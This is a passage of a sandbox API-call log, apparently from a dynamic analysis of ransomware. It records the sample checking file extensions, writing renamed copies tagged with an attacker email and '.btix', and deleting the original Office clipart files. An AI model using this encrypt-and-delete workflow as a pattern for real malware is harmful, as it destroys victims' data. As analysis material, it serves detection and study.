lpOverlapped=0x0) returned 1 [0137.614] WriteFile (in: hFile=0x508, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x1020, lpOverlapped=0x0) returned 1 [0137.615] ReadFile (in: hFile=0x534, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0137.615] WriteFile (in: hFile=0x508, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0137.615] SetEndOfFile (hFile=0x508) returned 1 [0137.616] CloseHandle (hObject=0x508) returned 1 [0137.616] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.616] SetEndOfFile (hFile=0x534) returned 1 [0137.618] CloseHandle (hObject=0x534) returned 1 [0137.619] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0137.619] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf")) returned 1 [0137.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0137.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0137.619] lstrlenW (lpString=".doc") returned 4 [0137.619] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.619] lstrlenW (lpString=".docx") returned 5 [0137.619] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0137.619] lstrlenW (lpString=".pdf") returned 4 [0137.619] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.619] lstrlenW (lpString=".xls") returned 4 [0137.619] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.620] lstrlenW (lpString=".xlsx") returned 5 [0137.620] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0137.620] lstrlenW (lpString=".ppt") returned 4 [0137.620] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0137.620] lstrlenW (lpString=".zip") returned 4 [0137.620] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.620] lstrlenW (lpString=".rar") returned 4 [0137.620] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.620] lstrlenW (lpString=".bz2") returned 4 [0137.620] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.620] lstrlenW (lpString=".7z") returned 3 [0137.620] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0137.620] lstrlenW (lpString=".dbf") returned 4 [0137.620] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0137.620] lstrlenW (lpString=".1cd") returned 4 [0137.620] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0137.620] lstrlenW (lpString=".jpg") returned 4 [0137.620] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0137.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0137.620] lstrlenW (lpString=".doc") returned 4 [0137.620] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.620] lstrlenW (lpString=".docx") returned 5 [0137.620] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0137.620] lstrlenW (lpString=".pdf") returned 4 [0137.620] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.621] lstrlenW (lpString=".xls") returned 4 [0137.621] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.621] lstrlenW (lpString=".xlsx") returned 5 [0137.621] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0137.621] lstrlenW (lpString=".ppt") returned 4 [0137.621] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0137.621] lstrlenW (lpString=".zip") returned 4 [0137.621] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.621] lstrlenW (lpString=".rar") returned 4 [0137.621] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.621] lstrlenW (lpString=".bz2") returned 4 [0137.621] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.621] lstrlenW (lpString=".7z") returned 3 [0137.621] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0137.621] lstrlenW (lpString=".dbf") returned 4 [0137.621] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0137.621] lstrlenW (lpString=".1cd") returned 4 [0137.621] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0137.621] lstrlenW (lpString=".jpg") returned 4 [0137.621] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.621] lstrcmpiW (lpString1=".JPG", lpString2=".btix") returned 1 [0137.621] lstrlenW (lpString="J0099185.JPG") returned 12 [0137.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0137.700] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=3282) returned 1 [0137.700] CloseHandle (hObject=0x530) returned 1 [0137.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg")) returned 0x220 [0137.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0137.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0137.701] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.701] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0137.702] GetLastError () returned 0x0 [0137.702] ReadFile (in: hFile=0x530, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0xcd2, lpOverlapped=0x0) returned 1 [0137.752] WriteFile (in: hFile=0x548, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xce0, lpOverlapped=0x0) returned 1 [0137.753] ReadFile (in: hFile=0x530, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0137.753] WriteFile (in: hFile=0x548, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0137.753] SetEndOfFile (hFile=0x548) returned 1 [0137.761] CloseHandle (hObject=0x548) returned 1 [0137.761] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.761] SetEndOfFile (hFile=0x530) returned 1 [0137.763] CloseHandle (hObject=0x530) returned 1 [0137.763] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0137.764] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg")) returned 1 [0137.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0137.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0137.764] lstrlenW (lpString=".doc") returned 4 [0137.765] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0137.765] lstrlenW (lpString=".docx") returned 5 [0137.765] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0137.765] lstrlenW (lpString=".pdf") returned 4 [0137.765] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0137.765] lstrlenW (lpString=".xls") returned 4 [0137.765] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0137.765] lstrlenW (lpString=".xlsx") returned 5 [0137.765] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0137.765] lstrlenW (lpString=".ppt") returned 4 [0137.765] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0137.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0137.765] lstrlenW (lpString=".zip") returned 4 [0137.765] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0137.765] lstrlenW (lpString=".rar") returned 4 [0137.765] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0137.765] lstrlenW (lpString=".bz2") returned 4 [0137.765] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0137.765] lstrlenW (lpString=".7z") returned 3 [0137.765] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0137.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0137.765] lstrlenW (lpString=".dbf") returned 4 [0137.765] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0137.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0137.765] lstrlenW (lpString=".1cd") returned 4 [0137.765] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0137.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0137.765] lstrlenW (lpString=".jpg") returned 4 [0137.765] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0137.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0137.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0137.766] lstrlenW (lpString=".doc") returned 4 [0137.766] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0137.766] lstrlenW (lpString=".docx") returned 5 [0137.766] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0137.766] lstrlenW (lpString=".pdf") returned 4 [0137.766] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0137.766] lstrlenW (lpString=".xls") returned 4 [0137.766] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0137.766] lstrlenW (lpString=".xlsx") returned 5 [0137.766] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0137.766] lstrlenW (lpString=".ppt") returned 4 [0137.766] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0137.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0137.766] lstrlenW (lpString=".zip") returned 4 [0137.766] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0137.766] lstrlenW (lpString=".rar") returned 4 [0137.766] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0137.766] lstrlenW (lpString=".bz2") returned 4 [0137.766] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0137.766] lstrlenW (lpString=".7z") returned 3 [0137.766] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0137.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0137.766] lstrlenW (lpString=".dbf") returned 4 [0137.766] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0137.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0137.766] lstrlenW (lpString=".1cd") returned 4 [0137.766] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0137.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0137.766] lstrlenW (lpString=".jpg") returned 4 [0137.766] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0137.767] lstrcmpiW (lpString1=".JPG", lpString2=".btix") returned 1 [0137.767] lstrlenW (lpString="J0099189.JPG") returned 12 [0137.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0137.767] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=8076) returned 1 [0137.767] CloseHandle (hObject=0x530) returned 1 [0137.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg")) returned 0x220 [0137.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0137.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0137.769] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.769] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0137.770] GetLastError () returned 0x0 [0137.770] ReadFile (in: hFile=0x530, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x1f8c, lpOverlapped=0x0) returned 1 [0137.785] WriteFile (in: hFile=0x548, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x1f90, lpOverlapped=0x0) returned 1 [0137.786] ReadFile (in: hFile=0x530, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0137.786] WriteFile (in: hFile=0x548, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0137.786] SetEndOfFile (hFile=0x548) returned 1 [0137.837] CloseHandle (hObject=0x548) returned 1 [0137.837] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.837] SetEndOfFile (hFile=0x530) returned 1 [0137.889] CloseHandle (hObject=0x530) returned 1 [0137.890] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0138.661] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg")) returned 1 [0138.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0138.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0138.952] lstrlenW (lpString=".doc") returned 4 [0138.952] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0138.952] lstrlenW (lpString=".docx") returned 5 [0138.952] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0138.952] lstrlenW (lpString=".pdf") returned 4 [0138.952] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0138.952] lstrlenW (lpString=".xls") returned 4 [0138.952] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0138.952] lstrlenW (lpString=".xlsx") returned 5 [0138.952] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0138.952] lstrlenW (lpString=".ppt") returned 4 [0138.952] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0138.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0138.952] lstrlenW (lpString=".zip") returned 4 [0138.952] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0138.952] lstrlenW (lpString=".rar") returned 4 [0138.952] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0138.952] lstrlenW (lpString=".bz2") returned 4 [0138.952] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0138.952] lstrlenW (lpString=".7z") returned 3 [0138.952] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0138.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0138.952] lstrlenW (lpString=".dbf") returned 4 [0138.952] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0138.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0138.952] lstrlenW (lpString=".1cd") returned 4 [0138.952] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0138.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0138.952] lstrlenW (lpString=".jpg") returned 4 [0138.952] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0138.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0138.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0138.952] lstrlenW (lpString=".doc") returned 4 [0138.953] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0138.953] lstrlenW (lpString=".docx") returned 5 [0138.953] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0138.953] lstrlenW (lpString=".pdf") returned 4 [0138.953] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0138.953] lstrlenW (lpString=".xls") returned 4 [0138.953] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0138.953] lstrlenW (lpString=".xlsx") returned 5 [0138.953] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0138.953] lstrlenW (lpString=".ppt") returned 4 [0138.953] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0138.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0138.953] lstrlenW (lpString=".zip") returned 4 [0138.953] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0138.953] lstrlenW (lpString=".rar") returned 4 [0138.953] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0138.953] lstrlenW (lpString=".bz2") returned 4 [0138.953] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0138.953] lstrlenW (lpString=".7z") returned 3 [0138.953] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0138.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0138.953] lstrlenW (lpString=".dbf") returned 4 [0138.953] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0138.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0138.953] lstrlenW (lpString=".1cd") returned 4 [0138.953] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0138.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0138.953] lstrlenW (lpString=".jpg") returned 4 [0138.953] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0138.953] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0138.953] lstrlenW (lpString="J0099197.GIF") returned 12 [0138.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0139.260] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=10898) returned 1 [0139.260] CloseHandle (hObject=0x498) returned 1 [0139.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif")) returned 0x220 [0139.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0140.256] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0140.256] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0140.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0140.257] GetLastError () returned 0x0 [0140.257] ReadFile (in: hFile=0x544, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x2a92, lpOverlapped=0x0) returned 1 [0140.273] WriteFile (in: hFile=0x554, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x2aa0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x2aa0, lpOverlapped=0x0) returned 1 [0140.274] ReadFile (in: hFile=0x544, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0140.274] 